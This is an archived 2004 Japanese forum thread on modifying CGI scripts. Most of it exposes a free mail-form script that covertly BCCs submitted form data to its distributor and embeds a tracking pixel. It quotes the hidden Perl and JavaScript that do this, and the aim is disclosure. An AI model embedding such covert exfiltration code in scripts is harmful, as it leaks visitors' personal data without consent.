トップページ⇒php
990コメント450KB

★三 【 スクリプト改造工房 PART 8 】 ★三

■ このスレッドは過去ログ倉庫に格納されています
0001sage04/02/23 17:36ID:???
#================================
# スレッドの説明
#================================

「スクリプトを改造したいけどやりかたわかんないよー」という人がいましたら
ここで聞いてください。ひょっとしたらアドバイス出来るかもしれません。

質問するときは以下の点に注意して書いて下さい

(1) そのスクリプトの内容と置いてある場所を明記する (txtファイルでUPすればなお良い)
(2) どんな風に改造して欲しいのか? (完成イメージHTMLを用意すればなお良し)
(3) 出来るだけ詳しく書くこと。少しは自分で考えること。できれば御礼も言ったほうが良い

※答えてくれないからといって逆ギレする厨はお断り

前スレ http://pc2.2ch.net/test/read.cgi/php/1063780103/
0202nobodyさん04/06/07 22:21ID:???
IPかホストをcryptでもして名前の後ろに結合しておけ
0203nobodyさん04/06/08 00:29ID:???
どれにあてはまるかよく考え、各スレにテンプレを使って質問・依頼するように

■ 設置の方法がわからない場合には
CGI設置について質問
http://pc5.2ch.net/test/read.cgi/php/1054216089/15(テンプレ)

■ 自分で改造できない場合には
【 スクリプト改造依頼スレ 】(丸投げ)
http://pc5.2ch.net/test/read.cgi/php/1076831972/324(テンプレ)

■ 自分で改造するアドバイスが欲しい場合には
★三 【 スクリプト改造工房 PART 8 】 ★三
http://pc5.2ch.net/test/read.cgi/php/1077525387/79(テンプレ)
0204nobodyさん04/06/08 16:50ID:???
このcgiを改良してください。
作者さんによると無用な負荷を与えるそうなので。
http://www.coara.or.jp/~tkuri/BCC/bcc.txt
020520404/06/08 16:53ID:???
スレ違いでした。
逝ってきます。
0206未承諾広告※ ◆TWARamEjuA 04/06/08 20:27ID:???
>>204
こういうのって初めて見たけれども力業で解析しているのね。ちょと感動した(w
0207200 04/06/09 04:21ID:siBsh0Gf
>>200 ですがこのように
cgiでcgiを呼び出して使ってる方はいないでしょうか?
requireでもopen(<IN>, "**.cgi")でも駄目でした。
ヒントだけでもよいのでおねがいします。
0208nobodyさん04/06/09 04:41ID:???
`
0209nobodyさん04/06/09 06:08ID:???
>>207
スレ違い
>>1と>>79をよく読め
0210nobodyさん04/06/09 06:39ID:siBsh0Gf
>>209
初心者の質問スレでは煽られたのみで
Perlコーディング初心者の質問スレでは改造スレで聞いたほうがいいと言われ
ここに来たのですが、
組み込みたい解析cgiと組み込み先の掲示板cgiをURLで紹介すればいいということでしょうか?
そちらのほうが人に手間をかけると思ったのですが・・・
0211nobodyさん04/06/09 06:50ID:???
簡単に教えてやる。

初めから他のCGIに組み込む前提で作られていないCGIを
お前がやろうとしている方法でそのまま使うことは無理。
0212210 04/06/09 06:57ID:???
>>211
解析cgi配布先には、できるようなことが書いてあったのですが(具体法はなし)
複雑になってくると書いてあったので、相当難しいのでしょうかね・・・
ともかくレスありがとうございます。

あちこちに誘導されてあたかもマルチのようになってるので
こちらの質問は取り下げてPerl初心者スレで聞きます。
021320804/06/09 17:05ID:???
>>207
もういないと思うけど、一応言っておくぞ。

お前は「ヒントだけでもよいのでおねがいします」って言ってたのでヒントを教えてやったのに私のことは無視ですか?

> 組み込みたい解析cgiと組み込み先の掲示板cgiを…(ry
まあなんだな、最初に丸投げスレで、テンプレに添って上記の依頼をしていたら、今頃君はHappyになっていただろう。

そんなに難しいわけでもないからな。
つーか、そこそこ勉強すればすぐできるレベルだから、これを機会に勉強すればいいぞ。
0214nobodyさん04/06/11 12:13ID:nOPYLa/M
COMCHATのROM表示なのですが
@data(全参加者数)から$num(参加者数)を引けば良いとのことなんですが
どぉ弄れば良いのかさっぱり分かりません
何方かご教授お願いいたします。
0215nobodyさん04/06/11 12:32ID:???
>>214 君には改造は無理のようだ。諦めれ。
0216nobodyさん04/06/11 19:20ID:???
>>214
同じような改造依頼が過去何件もあった。
だが、いまだかつて改造ができたケースは無い。
なぜなら、ROMというのが(全参加者数)から(参加者数)を引けば良いといえないからである。
021721404/06/11 20:24ID:???
>>216
アドバイスありがとうございます。
相当敷居が高そうですね;;
0218nobodyさん04/06/11 20:34ID:???
>>217
おまいさん、ちょっと思い違いしているかもしれない。
改造が難しいとは言ってない。
改造するに値しないといっている。
なぜなら、ROMというのが(全参加者数)から(参加者数)を引けば良いといえないからである。
ROMというのはどういう状態なのかを定義できないからである。
>>217はROMというのはどういう状態か定義できるのか?
ならば道は開かれよう。
0219nobodyさん04/06/11 21:38ID:???
とあるCGIスクリプト本文の中に、 送ってもらうフォーム内容を
スクリプト配布元のメールアドレスにもBCCで送信する構文が入っているものがありました。
そしてフォームHTML内にはスクリプト配布元のアクセス解析のGIF画像まで。

http://web-up.cside.biz/

http://ringoch.nekoruri.jp/3d496c04-09fb-8536-8418-96a5739715a0/f708636f-1ed4-4195-bd79-f71f86f8a4bf/bcc.png
http://alpha.ringoch.info/3d496c04-09fb-8536-8418-96a5739715a0/f708636f-1ed4-4195-bd79-f71f86f8a4bf/bcc.png
http://gateway.ringoch.info/3d496c04-09fb-8536-8418-96a5739715a0/f708636f-1ed4-4195-bd79-f71f86f8a4bf/bcc.png
http://ringoch.dayomon.net/3d496c04-09fb-8536-8418-96a5739715a0/f708636f-1ed4-4195-bd79-f71f86f8a4bf/bcc.png
http://alpha.www.td:81/3d496c04-09fb-8536-8418-96a5739715a0/f708636f-1ed4-4195-bd79-f71f86f8a4bf/bcc.png

http://ringoch.nekoruri.jp/3d496c04-09fb-8536-8418-96a5739715a0/5ca9f262-572d-4683-8399-4161bc7b58bd/img.png
http://alpha.ringoch.info/3d496c04-09fb-8536-8418-96a5739715a0/5ca9f262-572d-4683-8399-4161bc7b58bd/img.png
http://gateway.ringoch.info/3d496c04-09fb-8536-8418-96a5739715a0/5ca9f262-572d-4683-8399-4161bc7b58bd/img.png
http://ringoch.dayomon.net/3d496c04-09fb-8536-8418-96a5739715a0/5ca9f262-572d-4683-8399-4161bc7b58bd/img.png
http://alpha.www.td:81/3d496c04-09fb-8536-8418-96a5739715a0/5ca9f262-572d-4683-8399-4161bc7b58bd/img.png
0220nobodyさん04/06/11 21:43ID:???
>>219
これって犯罪じゃないのか?
どこか目立つ板で祭りしようや。
0221nobodyさん04/06/11 21:48ID:???
>>220
通信傍受だな

速報か
0222こりゃ大変だ04/06/11 22:01ID:???
祭り会場決まったら教えてね
0223nobodyさん04/06/11 22:01ID:???
>>219
これはヲチ板とかニュー速でも祭った方がいいんじゃね?
0224nobodyさん04/06/11 22:07ID:???
とりあえず証拠収集と解析をしようぜ。

まずはサイトを丸ごと保存して注意書きとかチェック。
他にも何か仕込まれていないか全スクリプトを落としてチェック。
0225nobodyさん04/06/11 22:10ID:???
--------------------------------------------------------------------
214 名前:名無しさん@どーでもいいことだが。 メェル:sage 投稿日:04/06/10 20:42 ID:KO2sUTHI
自分の理想にぴったりかなったID/PASS請求用の高機能フォームCGI(フリーウェア)を発見し、
いそいそとダウンロードして「さぁ編集だ〜!」と喜び勇んでエディタで開いたところ…。

なんとスクリプト本文の中に、
読者様から送ってもらうフォーム内容(なまものに対する情熱を熱く語って頂く項目あり)を、
スクリプト配布元のメールアドレスにもBCCで送信する構文が入ってて( ゚д゚)ポカーソ
しかもそれだけじゃなく、フォームのHTML内には
スクリプト配布元のリンク監視用(?)
アクセス解析GIF透明画像(もちろん相手のサイトを直接呼び出し)が埋め込まれた。

つまり、読者様の与り知らないところで自サイトフォームへのアクセスがCGIの配布元に記録され、
しかも大きな声ではとてもとても言えないような密やかな萌えをCGIの配布元にまで
コソーリ送信するような仕組みになっていたというわけだ。
(((( ;゚Д゚))ガクガクブルブル

気持ち悪いなんていう理由でそういった部分を削除するのは規約違反だし、
元々そういう違反関連にかなりうるさいサイトらしく、
本気で晒し上げもしかねないような雰囲気だったのでやむなく使用を断念。
規約を読んでダウンロードしたのは自分なわけだし
機能の充実した素晴らしいフリーウェアだから少々の制約は致し方ないとはいえ、
あまりにも卑劣というか姑息だなと思ったので…。
大切な読者様に迷惑かかるのは一番イクナイ!し…。
--------------------------------------------------------------------
個人+商用+メールフォームCGI+CSVデータ蓄積
でヤフ検索すると出てくる。
0226nobodyさん04/06/11 22:31ID:???
>>224
今保存ちう〜

> 個人情報の取り扱いについて
> ◆お客様の個人情報の取り扱いについて
> 弊社が収集した個人情報は、不適切な対応が行われないよう厳重に管理いたします。
> ◆お客様の個人情報の第三者への提供について
> お客様から提供を受けた個人情報は、お客様のご了承なしで第三者へ提供することはありません。
> 同様に、お客様のご了承なしで弊社の都合で勝手にDMを送付するといったこともありません。
> ◆スクリプトを不正に利用した方の個人情報の取り扱いについて
> 当サイト配布スクリプトを不正に利用していることが判明した方の個人情報に関しては、例外的に、ご本人様の承諾を得ることなく当サイトにて公開することがありますのでご了承下さい。

商用サイト向けに作られてるから
さぞ個人情報が集まった事だろうね。
0227nobodyさん04/06/11 22:34ID:???
法律に反してまで不正に個人情報収集キタ━━━━(゚∀゚)━━━━ッ!!
0228nobodyさん04/06/11 22:36ID:???
これ大問題だな
セキュリティー板にも誰か貼れよ

N速マダー
0229nobodyさん04/06/11 22:52ID:???
N速マダー

って実は立てようとしたんだけど、俺のホストでは立てられなかった。
簡単に祭りになるかと思ったのにどこでも静かだね。
0230nobodyさん04/06/11 22:55ID:???
【盗聴】web-up.cside.biz【個人情報詐取】

おいらも立てられないぞ。
0231nobodyさん04/06/11 23:00ID:???
>>230
スレ立て依頼スレがあるよ
テンプレ作って、投下しれ
023223004/06/11 23:21ID:???
スレ起て規制中だからテンプレまで考えてなかった_| ̄|○スマソ
誰かヨロシク。
0233nobodyさん04/06/11 23:32ID:???
ヌー速はスレ保持数が極端に少なくなってるから
よっぽど捻ってスレ立てないと即落ちだぞ。
0234nobodyさん04/06/11 23:36ID:???
ヌー速でなくても、Web系の板にとりあえず立てたらどうか?
とりあえず、世のサイト管理人に知らせたいもんだ。
0235nobodyさん04/06/11 23:42ID:???
http://ex5.2ch.net/net/

ネトヲチ板とか
0236nobodyさん04/06/11 23:44ID:???
>>235
そこも立てられなかった…誰かヨロ

とりあえず>>219がテンプラでどーだ
0237nobodyさん04/06/11 23:46ID:???
ヲチ板に立てるなら一応hは抜いておいたらどうだろう。
相手が既に気付いてるなら夜逃げ段階かもしれないけど。
0238nobodyさん04/06/11 23:49ID:???
【盗聴】web-up.cside.biz【個人情報詐取】

CGIスクリプト本文の中に、 送ってもらうフォーム内容を
スクリプト配布元のメールアドレスにもBCCで送信する構文が入っているものがありました。
そしてフォームHTML内にはスクリプト配布元のアクセス解析のGIF画像まで。

ttp://web-up.cside.biz/

http://ringoch.nekoruri.jp/3d496c04-09fb-8536-8418-96a5739715a0/f708636f-1ed4-4195-bd79-f71f86f8a4bf/bcc.png
http://alpha.ringoch.info/3d496c04-09fb-8536-8418-96a5739715a0/f708636f-1ed4-4195-bd79-f71f86f8a4bf/bcc.png
http://gateway.ringoch.info/3d496c04-09fb-8536-8418-96a5739715a0/f708636f-1ed4-4195-bd79-f71f86f8a4bf/bcc.png
http://ringoch.dayomon.net/3d496c04-09fb-8536-8418-96a5739715a0/f708636f-1ed4-4195-bd79-f71f86f8a4bf/bcc.png
http://alpha.www.td:81/3d496c04-09fb-8536-8418-96a5739715a0/f708636f-1ed4-4195-bd79-f71f86f8a4bf/bcc.png

http://ringoch.nekoruri.jp/3d496c04-09fb-8536-8418-96a5739715a0/5ca9f262-572d-4683-8399-4161bc7b58bd/img.png
http://alpha.ringoch.info/3d496c04-09fb-8536-8418-96a5739715a0/5ca9f262-572d-4683-8399-4161bc7b58bd/img.png
http://gateway.ringoch.info/3d496c04-09fb-8536-8418-96a5739715a0/5ca9f262-572d-4683-8399-4161bc7b58bd/img.png
http://ringoch.dayomon.net/3d496c04-09fb-8536-8418-96a5739715a0/5ca9f262-572d-4683-8399-4161bc7b58bd/img.png
http://alpha.www.td:81/3d496c04-09fb-8536-8418-96a5739715a0/5ca9f262-572d-4683-8399-4161bc7b58bd/img.png


こんな感じか。
>>2に画像のURLでもいいね。誰かヨロ
0239nobodyさん04/06/11 23:51ID:???
この板は見てないので住民の傾向は分からんが
一応参考までに。
「痛いニュース速報+」
http://news16.2ch.net/dqnplus/
0240nobodyさん04/06/11 23:57ID:???
【盗聴】web-up.cside.biz【個人情報詐取】
http://ex5.2ch.net/test/read.cgi/net/1086965756/l50


たてたよー
0241nobodyさん04/06/11 23:59ID:zWex4Tqd
226nobodyさんsage04/06/11 22:31 ID:???>>224
今保存ちう〜

> 個人情報の取り扱いについて
> ◆お客様の個人情報の取り扱いについて
> 弊社が収集した個人情報は、不適切な対応が行われないよう厳重に管理いたします。
> ◆お客様の個人情報の第三者への提供について
> お客様から提供を受けた個人情報は、お客様のご了承なしで第三者へ提供することはありません。
> 同様に、お客様のご了承なしで弊社の都合で勝手にDMを送付するといったこともありません。
> ◆スクリプトを不正に利用した方の個人情報の取り扱いについて
> 当サイト配布スクリプトを不正に利用していることが判明した方の個人情報に関しては、例外的に、ご本人様の承諾を得ることなく当サイトにて公開することがありますのでご了承下さい。

商用サイト向けに作られてるから
さぞ個人情報が集まった事だろうね。
227nobodyさんage04/06/11 22:34 ID:???法律に反してまで不正に個人情報収集キタ━━━━(゚∀゚)━━━━ッ!!
0242未承諾広告※ ◆TWARamEjuA 04/06/12 00:00ID:???
実は痛+のキャップ持ってたりして(w
0243nobodyさん04/06/12 00:02ID:???
>>240
乙
0244未承諾広告※ ◆TWARamEjuA 04/06/12 00:09ID:???
Done.
【盗聴】web-up.cside.biz【個人情報詐取】
http://news16.2ch.net/test/read.cgi/dqnplus/1086966502/l50
0245nobodyさん04/06/12 00:25ID:???
>>244
面白じゃなくて、ヌー速に立ててよ
0246未承諾広告※ ◆TWARamEjuA 04/06/12 00:26ID:???
>>245
ν速は怖いので却下(w
0247nobodyさん04/06/12 00:28ID:???
>>246
一番人がいるじゃん
0248未承諾広告※ ◆TWARamEjuA 04/06/12 00:31ID:???
>>247
だから怖かったりして(w
ってことで、mesh.ad.jp の人よろですー(w
(実は対策中@スレ立て規制ルーチン)
0249nobodyさん04/06/12 00:39ID:???
Web-UPへようこそ!
突然ですが、おめでとうございます!

あなたはオレオレ詐欺を成功させる為の絶好の機会に恵まれました!この機会に、ぜひあなたの常識が正しいかどうかを確かめてみて下さい。

さっそくですが、あなたの会社ではコンピュータやプログラムが出来る仕事を人間がやっているということはありませんか?それは本当に実在の人間でないと出来ない仕事ですか?

零細企業ほど業務のIT化・自動化を進めて、貴重な人的資源を有効に活用する必要があります。オレオレ詐欺運営業務のほとんどは、コンピュータに自動でやらせることが出来るのですから!
0250nobodyさん04/06/12 01:34ID:XcpBcCfn
【盗聴】web-up.cside.biz【個人情報詐取】
http://news12.2ch.net/test/read.cgi/news/1086971546/
0251nobodyさん04/06/12 01:38ID:S59QSIAd
キタ━━━━━━(゚∀゚)━━━━━━ !!
0252nobodyさん04/06/12 01:38ID:F7bl5wsk
キタ━━━━(゚∀゚)━━━━ッ!!
0253nobodyさん04/06/12 01:39ID:???
(`・ω・´)シャキーン
0254nobodyさん04/06/12 01:41ID:???
記念ぱぴぽ
0255nobodyさん04/06/12 01:50ID:???
【盗聴】web-up.cside.biz【個人情報詐取】
ν速 http://news12.2ch.net/test/read.cgi/news/1086971546/
ヲチ http://ex5.2ch.net/test/read.cgi/net/1086965756/
痛+ http://news16.2ch.net/test/read.cgi/dqnplus/1086966502/
0256nobodyさん04/06/12 01:51ID:???
ニュー速から来ました
c⌒っ*゚д゚)っφ 記念カキコ
0257nobodyさん04/06/12 02:02ID:???
おめでとう。勝利は目前だ。

祈念カキコ。
0258うんこぶりぶりまん04/06/12 02:03ID:2GlvRme6
祭りだ下記子
0259nobodyさん04/06/12 02:11ID:09i6j9GU
∩( ・ω・)∩祭りばんじゃーい
0260nobodyさん04/06/12 02:14ID:???
【盗聴】web-up.cside.biz【個人情報詐取】
http://pc5.2ch.net/test/read.cgi/sec/1086973725/
0261nobodyさん04/06/12 02:16ID:???
  | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
  |     祭り?    |
  |________|
   ∧ ∧|| ω
  (* ̄∀ ̄)(・|>
  _|U_|//
  \___ノ
...⊂ ̄U U ̄⊃
⊂__ジョー__⊃
0262nobodyさん04/06/12 02:18ID:???
>>261
まつりだ
0263nobodyさん04/06/12 02:23ID:???
ドンドド゙ッド、ドッドドッド、ドンドド゙ッド、ドッドドッド、
  モリアガッテマイリマシター!!!!
    ∧ ∧   ,,──,−、  ♪
    (,,゚Д゚) / (:  :(  ) ))
     |つ/つ  `ー─``ー'
   〜|  |   ┣━━┫┨
    U U   ┠┤  ┣┫
0264nobodyさん04/06/12 02:26ID:wopb/Mb3
>なんとスクリプト本文の中に、
>読者様から送ってもらうフォーム内容を、
>スクリプト配布元のメールアドレスにもBCCで送信する構文が入ってて( ゚д゚)ポカーソ
>しかもそれだけじゃなく、フォームのHTML内には
>スクリプト配布元のリンク監視用(?)
>アクセス解析GIF透明画像(もちろん相手のサイトを直接呼び出し)が埋め込まれた。

>つまり、読者様の与り知らないところで自サイトフォームへのアクセスがCGIの配布元に記録され、
>しかも大きな声ではとてもとても言えないような密やかな萌えをCGIの配布元にまで
>コソーリ送信するような仕組みになっていたというわけだ。
>(((( ;゚Д゚))ガクガクブルブル

これでもわからない奴はry
0265nobodyさん04/06/12 02:28ID:ePpV/3zG
ν速から来たよ、
Website Explorerで落としてるんだけど重いなここのサイト。
0266nobodyさん04/06/12 02:29ID:???
とりあえず最新確認に関連スレ一覧置いていきますね
ttp://www.ruitomo.com/~gulab/s.cgi?k=web-up&o=r

あと立つならWeb制作とネットサービスあたりなのかな。
0267nobodyさん04/06/12 02:32ID:???
該当部分のソースキボン
頭沸いてるんかコイツ
0268nobodyさん04/06/12 02:36ID:???
金に目がくらんでトチ狂って書いたってとこ?
0269nobodyさん04/06/12 02:37ID:???
>>266
分かりやすくてイイ!
0270nobodyさん04/06/12 02:37ID:???
>265
それはshtmlも落とせるのかな?
なんかshtmlだらけで満足に落とせないとどこかのスレで見たよ
0271nobodyさん04/06/12 02:38ID:???
一応これ置いときますね。

68 :名無しさん@ゴーゴーゴーゴー! :04/06/12 02:09 ID:/o6BW1Gu
Num-Mailしか見てないけど、メールが抜かれるのって
著作権表示を消した時と、一番最初にメール送信した時だけだよな?
$temp何とかってファイルを空にすればまた抜かれるけど
メールを送信するたびに抜かれるわけじゃないよな?
0272nobodyさん04/06/12 02:39ID:???
200人訪問中ということは、それだけ2ちゃんねらーがいるということですね
0273nobodyさん04/06/12 02:42ID:???
GETHTMLで落とした
0274nobodyさん04/06/12 02:42ID:???
>>271
つまりどのサイトでスクリプト使われてるか把握するためのものなのね
って全然言い訳にもならん。逮捕だ逮捕
0275nobodyさん04/06/12 02:44ID:???
>>274
それだけならいいが

スクリプト使って送信したメールがサクーシャにも送信
0276nobodyさん04/06/12 02:45ID:???
>>270
あ、それ自分だ。
うまく落とせてないから、他の人に頑張って貰いたいんだが…
落とすとき30分も解析にかかった。
027727404/06/12 02:52ID:???
>>275
いや、だから一回目に送るメールってのは大概運営者だから
そのアドレスだけを抜き出そうという魂胆でそ>>271読む限りでは

おれも今からソースみてみるけど
0278nobodyさん04/06/12 02:53ID:???
ソース公開してるんだから、責任はそんなものas isで使うことを
承諾して使ってるユーザーにあるんだろ
0279nobodyさん04/06/12 02:57ID:???
■免責事項
8. 本スクリプトの不正利用防止・設置状況把握を目的として、本スクリプトから設置先サーバーの情報を収集することがありますが、利用者はこれに同意したものとします。



補足
ついでに個人情報も収集します
0280nobodyさん04/06/12 02:57ID:???
光臨?


と煽っておく
0281nobodyさん04/06/12 02:59ID:???
> ■免責事項
> 8. 本スクリプトの不正利用防止・設置状況把握を目的として、
> 本スクリプトから設置先サーバーの情報を収集することがありますが、
> 利用者はこれに同意したものとします。

これはBCCで情報収集の言い訳として成り立つのか?というところだな。
0282nobodyさん04/06/12 03:00ID:???
該当部分
(1)
if($footer !~ /Web-UP/ or $ver !~ /Num-Mail v1.04/)
 { $bcc = '[email protected]'; $bad = 1; }

(2)
if(!open(TEMP,"$temp_file")){ &error('一時ファイルが開けませんでした'); }
$TEMP = <TEMP>;
close(TEMP);
if($TEMP eq ''){
 my $H = $ENV{'HTTP_HOST'};
 my $S = $ENV{'SCRIPT_NAME'};
 $PAGE = <<EOF;
 <script type="text/javascript" language="JavaScript">
 <!--
   (略。IMG使ってアク解仕込んでる)
 // -->
 </script>
 <noscript>
 <img src="http://web-up.cside.biz/cgi/use/ac.cgi?pg=$H$S" width=1 height=1 border=0>
 </noscript>
EOF
 $bcc = '[email protected];'.$bcc;
}

#(2)は「送信ボタン2度押し検出」だそうだ
#「一時ファイル」に最後に送信したUAやホストを記録してる
0283nobodyさん04/06/12 03:03ID:???
ご丁寧に綺麗なソースでこんなことするとは
頭マジいかれてるな
0284nobodyさん04/06/12 03:07ID:???
>>281
法律違反行為ならそんなもん無効だわな。
0285nobodyさん04/06/12 03:13ID:???
弊社のご案内
http://atpc.cside9.com/d.c.p/goannnai.htm
0286nobodyさん04/06/12 03:16ID:???
>>285
WEBクリエイター3級
とかあるんだ。初耳。
0287nobodyさん04/06/12 03:22ID:???
せめてスクリプトタグの内容暗号化して盗聴用鯖も一見無関係のところにしておきゃよかったのに。
どっちにしても、すぐばれるだろうが。
0288nobodyさん04/06/12 03:27ID:???
document.write("<img src='http://web-up.cside.biz/cgi/use/ac.cgi?");
document.write("pg="+pg+a+"pf="+pf+"lng="+lng+"swh="+swh+"cd="+cd+"pd="+pd+"rf="+rf);
document.write("' width=1 height=1 border=0>");


何やってんだ?
0289nobodyさん04/06/12 03:30ID:???
>>282
N速では(2)の処理は最初の一回だけって話になってるけどどうなの?

>>288
アクセス解析という噂

0290nobodyさん04/06/12 03:32ID:???
びっくりしますた
0291nobodyさん04/06/12 03:32ID:???
おい、もう材料ねえのか?
ヌー速もやる気なくなってるぞ
0292nobodyさん04/06/12 03:33ID:???
夜中だからな。明日またやろうぜ
0293nobodyさん04/06/12 03:33ID:???
>>291
やる気も何もさすがに時間が時間だし。
まだ明日以降あるでしょ。
0294nobodyさん04/06/12 03:34ID:???
明日またスレ立てれば桶
0295nobodyさん04/06/12 03:35ID:???
>>289
最初の1回目だけ。
$temp_fileを捨てると、また1度だけ送られる
0296nobodyさん04/06/12 03:38ID:???
最初の一回だけだから出歯亀送信してもいいとはいえないんだよな?
しかも今回は
“最初の一回だけ送信”דcgi設置した件数”
だよな
0297nobodyさん04/06/12 03:38ID:???
>>295
眠くてスクリプト見てないけど
そのtempは何?
0298nobodyさん04/06/12 03:39ID:???
>>295
�dくす
0299nobodyさん04/06/12 03:44ID:???
>}else{
> &error('<b>スクリプト利用規約違反行為を検出しました</b><br><a href="mailto:[email protected]">こちら</a>からご連絡下さい');
>}

( ´,_ゝ`)プッ
0300nobodyさん04/06/12 03:46ID:???
このcgiを利用したサイトが不正利用すると、関係ない第三者の個人情報も
web-upに送られるという極悪仕様らしいね
0301nobodyさん04/06/12 03:49ID:???
>>300
不正使用しなくても、一回目に情報が送られる。
0302nobodyさん04/06/12 03:52ID:???
>>301
一通目は普通管理人だから問題ないけど、(いや、あるけど)
二通目以降の本番使用での訪問者による送信でも、
サイト管理者が不正使用なら訪問者のメールも読まれてしまう
という意味でしょうが
■ このスレッドは過去ログ倉庫に格納されています